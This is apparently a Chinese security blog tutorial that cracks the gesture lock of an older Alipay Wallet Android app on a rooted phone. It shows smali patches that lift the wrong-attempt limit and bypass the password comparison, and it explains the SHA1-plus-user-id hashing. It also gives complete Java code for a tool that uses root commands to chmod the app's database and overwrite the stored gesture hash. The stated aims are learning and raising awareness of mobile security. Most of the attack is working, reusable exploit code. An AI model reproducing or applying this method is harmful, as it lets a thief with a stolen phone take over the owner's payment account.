/*
本文章由 莫灰灰 編寫,轉載請註明出處。
作者:莫灰灰 郵箱: [email protected]
*/
背景
隨着移動互聯網的普及以及手機屏幕越做越大等特點,在移動設備上購物、消費已是人們不可或缺的一個生活習慣了。隨着這股浪潮的興起,安全、便捷的移動支付需求也越來越大。因此,各大互聯網公司紛紛推出了其移動支付平臺。其中,用的比較多的要數騰訊的微信和阿里的支付寶錢包了。就我而言,平時和同事一起出去AA吃飯,下班回家打車等日常生活都已經離不開這兩個支付平臺了。
正所謂樹大招風,移動支付平臺的興起,也給衆多一直徘徊在網絡陰暗地帶的黑客們又一次重生的機會。因爲移動平臺剛剛興起,人們對移動平臺的安全認識度還不夠。就拿我身邊的很多朋友來說,他們一買來手機就開始root,之後卸載預裝軟件,下載遊戲外掛等等。今天,我們就以破解支付寶錢包的手勢密碼爲例,來深入瞭解下android系統上的一些安全知識,希望能引起人們對移動平臺安全的重視。
在此申明:以下文章涉及的代碼與分析內容僅供android系統安全知識的學習和交流使用,任何個人或組織不得使用文中提到的技術和代碼做違法犯罪活動,否則由此引發的任何後果與法律責任本人概不負責。
實驗環境
紅米TD版
MIUI-JHACNBA13.0(已越獄)
支付寶錢包8.1.0.043001版
使用工具
APK IDE
Smali.jar
Ddms
SQLite Expert
應用寶
程序分析
準備階段
安裝完支付寶錢包之後,運行軟件,我這裏選擇淘寶帳號登錄,界面如圖1所示。
圖1
登錄之後,設置手勢密碼,如圖2所示。
圖2
完成上述兩步之後,退出支付寶進程。用騰訊應用寶定位到支付寶的安裝目錄\data\data\com.eg.android.AlipayGphone,查看目錄結構如圖3所示。
圖3
實戰開始 - 破解手勢密碼錯誤次數限制
看到圖3所示的目錄結構,猜測databases目錄下的*.dB數據庫文件就是用來保存上述我們設置的密碼的。因此,我們使用應用寶的導出功能將databases目錄導出到本地。用SQLite Expert工具打開所有的dB文件,分析發現alipayclient.db數據庫中的userinfo表中保存了用戶名、輸入錯誤次數、手勢密碼等詳細信息,如圖4所示。其中的gestureErrorNum字段應該就是保存了手勢密碼輸入錯誤的次數了,很明顯這裏已經被加密了。
圖4
使用APK IDE對支付寶的安裝包進行解包分析。解包完成之後,搜索setgestureErrorNum字樣,結果如圖5所示。
圖5
經過大致分析,UserInfoDao.smali文件中的addUserInfo函數比較可疑,截取其中一段設置手勢密碼錯誤次數的代碼如下:
invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGestureErrorNum()Ljava/lang/String;
move-result-object v1
#調用getGestureErrorNum函數獲得未加密的錯誤次數,並保存到v1寄存器
invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;
move-result-object v2
#調用getUserId函數獲得user id,並保存到v2寄存器
invoke-static {v2},Lcom/alipay/mobile/security/gesture/util/GesutreContainUtil;->get8BytesStr(Ljava/lang/String;)Ljava/lang/String;
move-result-object v2
#獲取user id的前8個字節,保存到v2寄存器
invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object v1
#以user id的前8字節作爲key,調用des加密錯誤次數字符串,並保存到v1寄存器
invoke-virtual {v0, v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V
#調用setGestureErrorNum函數,將加密的字符串保存
通過對上述代碼的分析得知,第一次getGestureErrorNum的調用取出的錯誤次數應該是未加密的字符串,添加log代碼驗證,代碼如圖6所示。
圖6
保存修改的smali文件,重新編譯打包,安裝完成之後,輸入錯誤的手勢密碼,log輸出數字依次遞增。最後一次輸入正確的手勢密碼,錯誤次數重新歸0。LogCat捕捉到的日誌如圖7所示。
圖7
程序分析到這裏,我不禁猜測,在錯誤次數未加密前,把v1寄存器的值設置爲字符串“0”是不是就可以騙過支付寶而可以無限次的輸入手勢密碼了呢?於是乎,我又開始了下面的驗證,代碼如圖8所示。
圖8
編譯打包,重新安裝支付寶,輸入錯誤的手勢密碼,發現5次錯誤之後程序還是讓我們重新登錄。看來我們這裏設置錯誤次數已經晚了,於是乎,繼續搜索調用addUserInfo函數來加密gestureErrorNum的地方。其中,AlipayPattern.smali文件的settingGestureError函數引起了我的注意。函數代碼如下:
.method publicsettingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseActivity;Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;I)V
new-instance v0, Ljava/lang/StringBuilder; #初始化StringBuilder實例
invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
#p3是一個I類型的整型變量,調用StringBuilder. append賦值
move-result-object v0
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0 #調用toString函數轉換成字符串類型,賦給v0
invoke-virtual {p2, v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V#調用setGestureErrorNum設置未加密的錯誤次數字符串
invoke-static {},Lcom/alipay/mobile/framework/AlipayApplication;->getInstance()Lcom/alipay/mobile/framework/AlipayApplication;
move-result-object v0
invoke-static {v0},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->getInstance(Landroid/content/Context;)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;
move-result-object v0
invoke-virtual {v0, p2},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;)Z
#調用SecurityDbHelper.addUserInfo函數加密、更新數據庫
return-void
.end method
分析到這裏,想必這裏纔是最原始的設置手勢輸入錯誤次數的地方吧,修改p3的值爲0,測試代碼如圖9所示。
圖9
繼續打包、編譯、測試。隨意輸入錯誤的手勢密碼,支付寶始終顯示“密碼錯誤,還可以輸入5次”字樣,如圖10。
圖10
至此,手勢密碼中的錯誤次數限制已經被我們解除了。理論上來說,我們可以使用窮舉法來獲取支付寶的手勢密碼。但是,作爲一名分分鐘幾百萬上下的大黑闊來說,使用窮舉法來獲得密碼這種方式,顯然是在浪費生命和金錢呀。
越戰越勇 – 查找關鍵跳轉
對於大黑闊們來說,只破解手勢輸入錯誤次數限制顯然是不夠的。下面我們以手勢密碼的存儲展開來說起。查看alipayclient.db數據庫的userinfo表可知,手勢密碼的存儲字段爲gesturePwd,搜索getGesturePwd函數得到如圖11的結果。
圖11
搜索到的結果比較多,根據前面對手勢密碼錯誤次數限制的分析,這裏可以排除幾個文件,例如UserInfoDao.smali文件,它主要用來保存一些用戶態的信息,可暫時跳過。剩下的smali文件,我們一個個分析過來。在這裏我想說的一點是,逆向分析確實是很考驗一個人耐心和細心的一件事情,一個恍惚就會迷失在浩瀚的彙編代碼中,但是等到你找到關鍵的調用點,分析出核心的算法時,那麼心境會豁然開朗,真是有種踏破鐵鞋無覓處,得來全不費工夫的感腳。好了,扯遠了,下面我們繼續。
經過我的仔細分析,e.smali文件最有可能是比較輸入密碼的地方,雙擊上面e.smali文件的LINE 47行,跳轉到的是a函數。由於函數比較長,只貼關鍵部分,代碼如下:
.method public final a(Ljava/lang/String;)V
.locals 4
invoke-virtual {p1},Ljava/lang/String;->length()I #取輸入字符串的長度
move-result v0
sget v1,Lcom/alipay/mobile/security/gesture/component/LockView;->MINSELECTED:I
if-ltv0, v1, :cond_1 #比較字符串長度
:try_start_0
iget-object v0, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;#獲取UserInfo對象
invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#調用UserInfo的getGesturePwd函數獲得加密過的正確的手勢密碼
move-result-object v0
invoke-virtual {v0}, Ljava/lang/String;->length()I #取加密過的正確密碼的長度
move-result v0
const/16 v1, 0x20
if-le v0, v1, :cond_0 #長度是否小於32
new-instance v0, Ljava/lang/StringBuilder;
invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V #初始化StringBuilder對象
invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
#將輸入的明文手勢密碼賦值給StringBuilder對象
move-result-object v0
iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;
invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;#調用UserInfo的getUserId函數獲取user id
move-result-object v1
const-string/jumbo v2, "userInfo"
invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;#調用des加密函數,以“userInfo”爲key,加密user id字符串
move-result-object v1
invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
#將加密好的user id字符串附加到StringBuilder對象上
move-result-object v0
invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
#StringBuilder對象(輸入明文手勢的密碼 + 加密後的user id)轉字符串,並賦值給v0寄存器
invoke-static {v0}, Lcom/alipay/mobile/security/gesture/util/SHA1;->sha1(Ljava/lang/String;)Ljava/lang/String;
#調用靜態的sha1函數,計算出一個hash值
move-result-object v0
:goto_0
iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;
invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#調用UserInfo的getGesturePwd函數獲得加密過的正確的手勢密碼
move-result-object v1
invoke-virtual {v0, v1},Ljava/lang/String;->equals(Ljava/lang/Object;)Z
#比較輸入的密碼和正確的密碼
move-result v0
if-eqz v0, :cond_1
很顯然,上面這個if-eqz是關鍵,如果比較函數equals返回false,那麼跳轉到cond_1標籤處。cond_1標籤處的主要任務就是取當前輸入錯誤的次數,在這個基礎上加上1,然後調用settingGestureError函數重新設置錯誤次數。如果兩個字符串相等,那麼調用settingGestureError函數把錯誤次數重新置爲0。
下面爲了驗證我們的猜測,進行如下兩步操作:
1、在a函數中加入類似如圖12的打印日誌代碼,這裏未全部截圖下來,其他地方留給讀者自行添加。
圖12
2、在if-eqz v0前patch v0,代碼如圖13所示。
圖13
完成上述兩步操作之後,保存修改過的smali文件,編譯打包,重新安裝支付寶錢包客戶端,隨意輸入手勢密碼。這裏引用大魔術師劉謙的一句話,“接下來就是見證奇蹟的時刻”。在我們隨意輸入密碼之後,熟悉的支付寶主界面出現在我們眼前,同時LogCat輸出日誌如圖14所示。
圖14
日誌的組成大致如下:
第一行:用戶輸入的,還未加密的手勢代碼;
第二行:保存在數據庫中正確的加密後的手勢密碼;
第三行:未加密的user id;
第四行:採用des加密後的user id;
第五行:拼接用戶輸入和加密後的user id;
第六行:採用sha1算法計算出來的加密之後的用戶輸入的手勢密碼。
通過仔細的分析日誌,我們從中可以得出兩個結論:
1、真實的手勢密碼和我們輸入的密碼是不一樣的,但是我們還是進入了支付寶的主界面,證明我們上面第2步中修改的地方非常關鍵,從而也印證了e.smali文件的a函數確實是比較用戶輸入和真實密碼的關鍵函數。
2、支付寶是將用戶的手勢操作轉化成對應的數字,然後再做一定的加密處理之後保存到數據庫中。比較用戶輸入的時候,是用相同的加密步驟對用戶輸入進行加密,再與數據庫中保存的密碼做比較。數字代碼對應如圖15所示。
圖15
程序分析到這裏,我們已經清楚的明白了支付寶手勢密碼的加密過程和算法,並且通過修改關鍵跳轉的方法,使得我們隨意輸入手勢密碼都可以進入支付寶主界面。
仔細思考 – 還原手勢密碼?
回過頭來仔細想想,手勢密碼的加密流程是這樣的,用戶輸入+user id組成一個字符串,將該字符串經過sha1算法哈希之後得到另一個加密字符串即爲手勢密碼。其中,user id字符串在alipayclient.db數據庫的userinfo表中的userId字段已經表明了,正確的手勢密碼gesturePwd字段也已經有了。雖然sha1算法不可逆,但是在我們的這個實例中,最長輸入是9位,最短爲4位,我們完全可以通過已知的信息,採用有限的窮舉,就能得出正確的手勢代碼了。相信對於現在的4核乃至8核cpu手機來說,這點計算應該是很輕鬆的。
但是,我們難道只能通過窮舉來實現暴力破解嗎?答案是否定的。其實我們完全可以自己構造一個輸入,例如0123,採用和支付寶完全相同的加密流程得到手勢密碼。然後,通過修改userinfo表的gesturePwd字段內容爲上面我們計算出來的手勢密碼,這樣,就能實現隨意修改手勢密碼的目的了。想法有了,下面我們編寫代碼來驗證該方法是否可行。
代碼實現
查看支付寶使用的sha1算法可知,該算法與支付寶的整體功能業務耦合度基本爲0,於是我將sha1算法所在的smali文件轉換成jar包,然後導入到我的工程中,這樣,就可以直接調用和支付寶完全相同的sha1算法了。程序代碼如下所示:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
setTitle("支付寶手勢密碼修改器");
szUerIdString = "";
tvStatus = (TextView)findViewById(R.id.textStatus);
etEncryptUserid = (EditText)findViewById(R.id.editEncryptUserId);
etDecryptUserid = (EditText)findViewById(R.id.editDecrypUserId);
etMyPwd = (EditText) findViewById(R.id.editMyselfPwd);
btnOK = (Button)findViewById(R.id.btnSetting);
if(!RootUtils.hasRootPermission()) {
tvStatus.setText("本程序只能在ROOT過的手機上運行!");
return;
}
if(!RootUtils.hasInstalledApp(MainActivity.this, "com.eg.android.AlipayGphone")){
tvStatus.setText("請確認您已經安裝了支付寶錢包!");
return;
}
String szUserId =getUserId();
if (!szUserId.isEmpty()) {
szUerIdString =szUserId;
etEncryptUserid.setText(szUserId);
tvStatus.setText("讀取user id成功,請輸入自定義手勢密碼!");
StringszDecryptUserid = decryptUserid(szUserId, "userInfo");
if(!szDecryptUserid.isEmpty()) {
etDecryptUserid.setText(szDecryptUserid);
}
else {
tvStatus.setText("解密user id失敗!");
}
btnOK.setOnClickListener(newOnClickListener() {
@Override
public void onClick(View view) {
StringszPwd = etMyPwd.getText().toString();
if(szPwd.isEmpty()) {
Toast.makeText(MainActivity.this, "設置的自定義密碼不能爲空,請重新輸入!", Toast.LENGTH_LONG).show();
}
else{
StringBuildersBuilder = new StringBuilder();
sBuilder.append(szPwd);
sBuilder.append(szUerIdString);
Stringtmp = sBuilder.toString();
Stringsha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp);
Log.v(TAG,sha1);
if(!sha1.isEmpty()) {
if(updateDatabaseGesturePwd(szUerIdString, sha1)) {
tvStatus.setText("設置自定義密碼成功!");
}
else{
tvStatus.setText("設置自定義密碼失敗!");
}
}
}
}
});
}
else {
tvStatus.setText("獲取user id失敗!");
}
}
獲取user id和修改手勢密碼的代碼如下:
// 獲取加密的user id
private String getUserId()
{
String szRet = "";
// 修改數據庫文件的讀寫權限
RootUtils.RootCommand("chmod666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db");
RootUtils.RootCommand("chmod666/data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal");
try {
Context context =createPackageContext("com.eg.android.AlipayGphone", Context.CONTEXT_IGNORE_SECURITY);
SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);
Cursor cursor =db.rawQuery("select * from userinfo", null);
if (cursor.moveToFirst()) {
szRet =cursor.getString(USER_ID_INDEX) ;
}
db.close();
} catch(NameNotFoundException e1) {
e1.printStackTrace();
}
return szRet;
}
// 修改手勢密碼
private booleanupdateDatabaseGesturePwd(String szUerId, String szPwd) {
boolean bRet = false;
if (szPwd.isEmpty() ||szUerId.isEmpty()) {
return bRet;
}
try {
Context context =createPackageContext("com.eg.android.AlipayGphone", Context.CONTEXT_IGNORE_SECURITY);
SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);
ContentValues cv =new ContentValues();
cv.put("gesturePwd",szPwd);
String[] args ={String.valueOf(szUerId)};
int n =db.update("userinfo", cv, "userId=?", args);
if (n> 0) {
bRet =true;
}
db.close();
} catch(NameNotFoundException e1) {
e1.printStackTrace();
}
return bRet;
}
最後,程序運行效果如圖16所示。
圖16
輸入自定義密碼,點擊確認,程序提示設置成功。此時,打開支付寶,輸入我們的自定義手勢代碼即可解鎖支付寶進入熟悉的主界面了。
後記
如上所述,通過修改支付寶錢包數據庫來達到破解目的的方法是需要在已經root過的手機上才能使用的。設想一下這種情況,我的手機已經root,並且手機被盜。那麼,除了手機上的豔照有可能泄露之外,小偷還可以通過修改支付寶的手勢密碼來登錄我的支付寶,因此,造成直接的金錢損失也不是沒有可能。
一般來說,普通用戶日常使用的手機儘量不要去root,也不要隨便去下載來歷不明的軟件和外掛。